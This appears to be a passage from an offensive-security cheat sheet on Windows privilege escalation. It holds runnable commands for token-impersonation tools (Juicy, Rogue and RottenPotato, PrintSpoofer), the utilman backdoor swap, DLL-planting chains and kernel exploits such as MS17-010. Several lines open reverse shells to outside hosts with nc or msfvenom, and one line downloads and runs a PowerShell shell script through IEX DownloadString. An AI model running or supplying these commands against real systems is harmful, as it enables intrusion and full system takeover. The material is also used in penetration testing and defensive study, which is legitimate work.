Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
| Privilege | Impact | Tool | Execution path | Remarks |
| --- | --- | --- | --- | --- |
|`SeAssignPrimaryToken`| ***Admin*** | 3rd party tool | *"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"* | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. |
|`SeBackup`| **Threat** | ***Built-in commands*** | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br> <br>- `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files.<br> <br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
|`SeCreateToken`| ***Admin*** | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. ||
|`SeDebug`| ***Admin*** | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys` or `capcom.sys`<br>2. Exploit the driver vulnerability<br> <br> Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)<br>2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) |
|`SeRestore`| ***Admin*** | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTakeOwnership`| ***Admin*** | ***Built-in commands*** |1. `takeown.exe /f "%windir%\system32"`<br>2. `icalcs.exe "%windir%\system32" /grant "%username%":F`<br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTcb`| ***Admin*** | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.<br> <br>To be verified. ||
### Restore A Service Account's Privileges
> This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.
```powershell
# https://github.com/itm4n/FullPowers
c:\TOOLS>FullPowers
[+] Started dummy thread with id 9976
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
```
### Meterpreter getsystem and alternatives
```powershell
meterpreter> getsystem
Tokenvator.exe getsystem cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
psexec -s -i cmd.exe
python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
```
### RottenPotato (Token Impersonation)
* Binary available at : [foxglovesec/RottenPotato](https://github.com/foxglovesec/RottenPotato) and [breenmachine/RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)
* Exploit using Metasploit with `incognito mode` loaded.
```c
getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"
```
```powershell
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
```
### Juicy Potato (Abusing the golden privileges)
> If the machine is **>= Windows 10 1809 & Windows Server 2019** - Try **Rogue Potato**
> If the machine is **< Windows 10 1809 < Windows Server 2019** - Try **Juicy Potato**
* Binary available at : [ohpe/juicy-potato](https://github.com/ohpe/juicy-potato/releases)
1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication)
```powershell
whoami /priv
```
2. Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object
* [Windows 7 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise)
* [Windows 8.1 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_8.1_Enterprise)
* [Windows 10 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_10_Enterprise)
* [Windows 10 Professional](https://ohpe.it/juicy-potato/CLSID/Windows_10_Pro)
* [Windows Server 2008 R2 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise)
* [Windows Server 2012 Datacenter](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter)
* [Windows Server 2016 Standard](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard)
3. Execute JuicyPotato to run a privileged command.
```powershell
JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}
JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe"
Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337
......
[+] authresult 0
{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
```
### Rogue Potato (Fake OXID Resolver)
* Binary available at [antonioCoco/RoguePotato](https://github.com/antonioCoco/RoguePotato)
```powershell
# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999
# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine.
# Use this if you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"
# RoguePotato all in one with RogueOxidResolver running locally on port 9999
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999
#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode
```
### EFSPotato (MS-EFSR EfsRpcOpenFileRaw)
* Binary available at https://github.com/zcgonvh/EfsPotato
```powershell
# .NET 4.x
csc EfsPotato.cs
csc /platform:x86 EfsPotato.cs
# .NET 2.0/3.5
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs
```
### JuicyPotatoNG
* [antonioCoco/JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG)
```powershell
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" > C:\juicypotatong.txt
```
### PrintSpoofer (Printer Bug)
> this work if SeImpersonatePrivilege is enabled
* Binary available at https://github.com/itm4n/PrintSpoofer/releases/tag/v1.0
```powershell
# run nc -lnvp 443 then :
.\PrintSpoofer64.exe -c "C:\Temp\nc64.exe 192.168.45.171 443 -e cmd"
# without listener
.\PrintSpoofer64.exe -i -c cmd
# Via RPD
.\PrintSpoofer64.exe -d 3 -c "powershell -ep bypass"
```
## EoP - Privileged File Write
### DiagHub
:warning: Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.
The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM.
This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the `C:\Windows\System32` directory.
#### Exploit
1. Create an [evil DLL](https://gist.github.com/xct/3949f3f4f178b1f3427fae7686a2a9c0) e.g: payload.dll and move it into `C:\Windows\System32`
2. Build https://github.com/xct/diaghub
3. `diaghub.exe c:\\ProgramData\\ payload.dll`
The default payload will run `C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe`
Alternative tools:
* https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag
* https://github.com/decoder-it/diaghub_exploit
### UsoDLLLoader
:warning: 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.
> An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. @tiraniddo)
If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of `windowscoredeviceinfo.dll` into `C:\Windows\Sytem32\` and then have it loaded by the USO service to get arbitrary code execution as **NT AUTHORITY\System**.
#### Exploit
1. Build https://github.com/itm4n/UsoDllLoader
* Select Release config and x64 architecure.
* Build solution.
* DLL .\x64\Release\WindowsCoreDeviceInfo.dll
* Loader .\x64\Release\UsoDllLoader.exe.
2. Copy `WindowsCoreDeviceInfo.dll` to `C:\Windows\System32\`
3. Use the loader and wait for the shell or run `usoclient StartInteractiveScan` and connect to the bind shell on port 1337.
### WerTrigger
> Exploit Privileged File Writes bugs with Windows Problem Reporting
1. Clone https://github.com/sailay1996/WerTrigger
2. Copy `phoneinfo.dll` to `C:\Windows\System32\`
3. Place `Report.wer` file and `WerTrigger.exe` in a same directory.
4. Then, run `WerTrigger.exe`.
5. Enjoy a shell as **NT AUTHORITY\SYSTEM**
### WerMgr
> Exploit Privileged Directory Creation Bugs with Windows Error Reporting
1. Clone https://github.com/binderlabs/DirCreate2System
2. Create directory `C:\Windows\System32\wermgr.exe.local\`
3. Grant access to it: `cacls C:\Windows\System32\wermgr.exe.local /e /g everyone:f`
4. Place `spawn.dll` file and `dircreate2system.exe` in a same directory and run `.\dircreate2system.exe`.
5. Enjoy a shell as **NT AUTHORITY\SYSTEM**
## EoP - Privileged File Delete
During an MSI installation, the Windows Installer service maintains a record of every changes in case it needs to be rolled back, to do that it will create:
* a folder at `C:\Config.Msi` containing
* a rollback script (`.rbs`)
* a rollback file (`.rbf`)
To convert a privileged file delete to a local privilege escalation, you need to abuse the Windows Installer service.
* delete the protected `C:\Config.Msi` folder immediately after it's created by the Windows Installer
* recreate the `C:\Config.Msi` folder with weak DACL permissions since ordinary users are allowed to create folders at the root of `C:\`.
* drop malicious `.rbs` and `.rbf` files into it to be executed by the MSI rollback
* then upon rollback, Windows Installer will make arbitrary changes to the system
The easiest way to trigger this chain is using [thezdi/FilesystemEoPs/FolderOrFileDeleteToSystem](https://github.com/thezdi/PoC/tree/master/FilesystemEoPs/FolderOrFileDeleteToSystem).
The exploit contains a .msi file with 2 actions, the first one produces a delay and the second throws an error to make it rollback. This rollback will "restore" a malicious HID.dll in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.
Then switch to the secure desktop using `[CTRL]+[ALT]+[DELETE]` and open the On-Screen Keyboard (`osk.exe`).
The `osk.exe` process first looks for the `C:\Program Files\Common Files\microsoft shared\ink\HID.dll` library instead of `C:\Windows\System32\HID.dll`
## EoP - Common Vulnerabilities and Exposure
### MS08-067 (NetAPI)
Check the vulnerability with the following nmap script.
```c
nmap -Pn -p445--open--max-hostgroup 3--script smb-vuln-ms08-067 <ip_netblock>
```
Metasploit modules to exploit `MS08-067 NetAPI`.
```powershell
exploit/windows/smb/ms08_067_netapi
```
If you can't use Metasploit and only want a reverse shell.
```powershell
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows
Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
python ms08-067.py 10.0.0.1 6 445
```
### MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7
'KiTrap0D' User Mode to Ring Escalation (MS10-015)
```powershell
https://www.exploit-db.com/exploits/11199
Metasploit : exploit/windows/local/ms10_015_kitrap0d
```
### MS11-080 (afd.sys) - Microsoft Windows XP/2003
```powershell
Python: https://www.exploit-db.com/exploits/18176
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
```
### MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012
```powershell
printf("[#] usage: ms15-051 command \n");
printf("[#] eg: ms15-051 \"whoami /all\" \n");
# x32
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe
# x64
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image
```
### MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
Check if the patch is installed : `wmic qfe list | findstr "3139914"`
```powershell
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
Binary exe : https://github.com/Meatballs1/ms16-032
Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```
### MS17-010 (Eternal Blue)
Check the vulnerability with the following nmap script or crackmapexec: `crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M ms17-010`.
```c
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17010 <ip_netblock>
```
Metasploit modules to exploit `EternalRomance/EternalSynergy/EternalChampion`.
```powershell
auxiliary/admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
```
If you can't use Metasploit and only want a reverse shell.
```powershell
git clone https://github.com/helviojunior/MS17-010
# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe
python2 send_and_execute.py 10.0.0.1 revshell.exe
```
### CVE-2019-1388
Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html
Requirement:
- Windows 7
- Windows 10 LTSC 10240
Failing on :
- LTSC 2019
- 1709
- 1803
Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege
## References
* [icacls - Docs Microsoft](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls)
* [Privilege Escalation Windows - Philip Linghammar](https://web.archive.org/web/20191231011305/https://xapax.gitbooks.io/security/content/privilege_escalation_windows.html)
* [Windows elevation of privileges - Guifre Ruiz](https://guif.re/windowseop)
* [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/)
* [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
* [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
* [TOP10 ways to boost your privileges in Windows systems - hackmag](https://hackmag.com/security/elevating-privileges-to-administrative-and-further/)
* [The SYSTEM Challenge](https://decoder.cloud/2017/02/21/the-system-challenge/)
* [Windows Privilege Escalation Guide - absolomb's security blog](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
* [Chapter 4 - Windows Post-Exploitation - 2 Nov 2017 - dostoevskylabs](https://github.com/dostoevskylabs/dostoevsky-pentest-notes/blob/master/chapter-4.md)
* [Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell](https://www.tecklyfe.com/remediation-microsoft-windows-unquoted-service-path-enumeration-vulnerability/)
* [Pentestlab.blog - WPE-01 - Stored Credentials](https://pentestlab.blog/2017/04/19/stored-credentials/)
* [Pentestlab.blog - WPE-02 - Windows Kernel](https://pentestlab.blog/2017/04/24/windows-kernel-exploits/)
* [Pentestlab.blog - WPE-03 - DLL Injection](https://pentestlab.blog/2017/04/04/dll-injection/)
* [Pentestlab.blog - WPE-04 - Weak Service Permissions](https://pentestlab.blog/2017/03/30/weak-service-permissions/)
* [Pentestlab.blog - WPE-05 - DLL Hijacking](https://pentestlab.blog/2017/03/27/dll-hijacking/)
* [Pentestlab.blog - WPE-06 - Hot Potato](https://pentestlab.blog/2017/04/13/hot-potato/)
* [Pentestlab.blog - WPE-07 - Group Policy Preferences](https://pentestlab.blog/2017/03/20/group-policy-preferences/)
* [Pentestlab.blog - WPE-08 - Unquoted Service Path](https://pentestlab.blog/2017/03/09/unquoted-service-path/)
* [Pentestlab.blog - WPE-09 - Always Install Elevated](https://pentestlab.blog/2017/02/28/always-install-elevated/)
* [Pentestlab.blog - WPE-10 - Token Manipulation](https://pentestlab.blog/2017/04/03/token-manipulation/)
* [Pentestlab.blog - WPE-11 - Secondary Logon Handle](https://pentestlab.blog/2017/04/07/secondary-logon-handle/)
* [Pentestlab.blog - WPE-12 - Insecure Registry Permissions](https://pentestlab.blog/2017/03/31/insecure-registry-permissions/)
* [Pentestlab.blog - WPE-13 - Intel SYSRET](https://pentestlab.blog/2017/06/14/intel-sysret/)
* [Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @_xpn_](https://blog.xpnsec.com/becoming-system/)
* [Living Off The Land Binaries and Scripts (and now also Libraries)](https://github.com/LOLBAS-Project/LOLBAS)
* [Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec](https://web.archive.org/web/20191105182846/https://amonsec.net/2018/09/23/Common-Windows-Misconfiguration-Services.html)
* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf)
* [Abusing Diaghub - xct - March 07, 2019](https://vulndev.io/2019/03/06/abusing-diaghub/)
* [Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html)
* [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/)
* [Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows](https://www.elladodelmal.com/2020/03/hacking-trick-environment-variable-path.html?m=1)
* [Abusing SeLoadDriverPrivilege for privilege escalation - 14 JUN 2018 - OSCAR MALLO](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
* [Universal Privilege Escalation and Persistence Printer - AUGUST 2, 2021)](https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/)
* [ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICKS - March 17, 2022 | Simon Zuckerbraun](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks)
* [Bypassing AppLocker by abusing HashInfo - 2022-08-19 - Ian](https://shells.systems/post-bypassing-applocker-by-abusing-hashinfo/)
* [Giving JuicyPotato a second chance: JuicyPotatoNG - @decoder_it, @splinter_code](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)
* [IN THE POTATO FAMILY, I WANT THEM ALL - @BlWasp_ ](https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all)
* [Potatoes - Windows Privilege Escalation - Jorge Lajara - November 22, 2020](https://jlajara.gitlab.io/Potatoes_Windows_Privesc)
* [MSIFortune - LPE with MSI Installers - Oct 3, 2023 - PfiatDe](https://badoption.eu/blog/2023/10/03/MSIFortune.html)
* [MSI Shenanigans. Part 1 Offensive Capabilities Overview - DECEMBER 8, 2022 - Mariusz Banach](https://mgeeky.tech/msi-shenanigans-part-1/)
* [Escalating Privileges via Third-Party Windows Installers - ANDREW OLIVEAU - JUL 19, 2023](https://www.mandiant.com/resources/blog/privileges-third-party-windows-installers)
* [Deleting Your Way Into SYSTEM: Why Arbitrary File Deletion Vulnerabilities Matter - ANDREW OLIVEAU - SEP 11, 2023](https://www.mandiant.com/resources/blog/arbitrary-file-deletion-vulnerabilities)
* [ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICKS - Simon Zuckerbraun - March 17, 2022 ](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks)
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/escalation/windows-privilege-escalation](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/)
* [Tools](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#tools)
* [Windows Version and Configuration](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#windows-version-and-configuration)
* [User Enumeration](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#user-enumeration)
* [Network Enumeration](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#network-enumeration)
* [Antivirus Enumeration](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#antivirus-enumeration)
* [Default Writeable Folders](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#default-writeable-folders)
* [EoP - Looting for passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---looting-for-passwords)
* [SAM and SYSTEM files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#sam-and-system-files)
* [HiveNightmare](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#hivenightmare)
* [LAPS Settings](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#laps-settings)
* [Search for file contents](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#search-for-file-contents)
* [Search for a file with a certain filename](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#search-for-a-file-with-a-certain-filename)
* [Search the registry for key names and passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#search-the-registry-for-key-names-and-passwords)
* [Passwords in unattend.xml](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#passwords-in-unattendxml)
* [Wifi passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#wifi-passwords)
* [Sticky Notes passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#sticky-notes-passwords)
* [Passwords stored in services](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#passwords-stored-in-services)
* [Passwords stored in Key Manager](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#passwords-stored-in-key-manager)
* [Powershell History](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#powershell-history)
* [Powershell Transcript](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#powershell-transcript)
* [Password in Alternate Data Stream](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#password-in-alternate-data-stream)
* [EoP - Processes Enumeration and Tasks](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---processes-enumeration-and-tasks)
* [EoP - Incorrect permissions in services](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---incorrect-permissions-in-services)
* [EoP - Windows Subsystem for Linux (WSL)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---windows-subsystem-for-linux-wsl)
* [EoP - Unquoted Service Paths](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---unquoted-service-paths)
* [EoP - $PATH Interception](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---path-interception)
* [EoP - Named Pipes](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---named-pipes)
* [EoP - Kernel Exploitation](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---kernel-exploitation)
* [EoP - Microsoft Windows Installer](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---microsoft-windows-installer)
* [AlwaysInstallElevated](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#alwaysinstallelevated)
* [CustomActions](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#customactions)
* [EoP - Insecure GUI apps](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---insecure-gui-apps)
* [EoP - Evaluating Vulnerable Drivers](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---evaluating-vulnerable-drivers)
* [EoP - Printers](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---printers)
* [Universal Printer](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#universal-printer)
* [Bring Your Own Vulnerability](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#bring-your-own-vulnerability)
* [EoP - Runas](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---runas)
* [EoP - Abusing Shadow Copies](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---abusing-shadow-copies)
* [EoP - From local administrator to NT SYSTEM](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---from-local-administrator-to-nt-system)
* [EoP - Living Off The Land Binaries and Scripts](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---living-off-the-land-binaries-and-scripts)
* [EoP - Impersonation Privileges](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---impersonation-privileges)
* [Restore A Service Account's Privileges](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#restore-a-service-accounts-privileges)
* [Meterpreter getsystem and alternatives](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#meterpreter-getsystem-and-alternatives)
* [RottenPotato (Token Impersonation)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#rottenpotato-token-impersonation)
* [Juicy Potato (Abusing the golden privileges)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#juicy-potato-abusing-the-golden-privileges)
* [Rogue Potato (Fake OXID Resolver)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#rogue-potato-fake-oxid-resolver))
* [EFSPotato (MS-EFSR EfsRpcOpenFileRaw)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#efspotato-ms-efsr-efsrpcopenfileraw))
* [PrintSpoofer (Printer Bug)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#PrintSpoofer-Printer-Bug)))
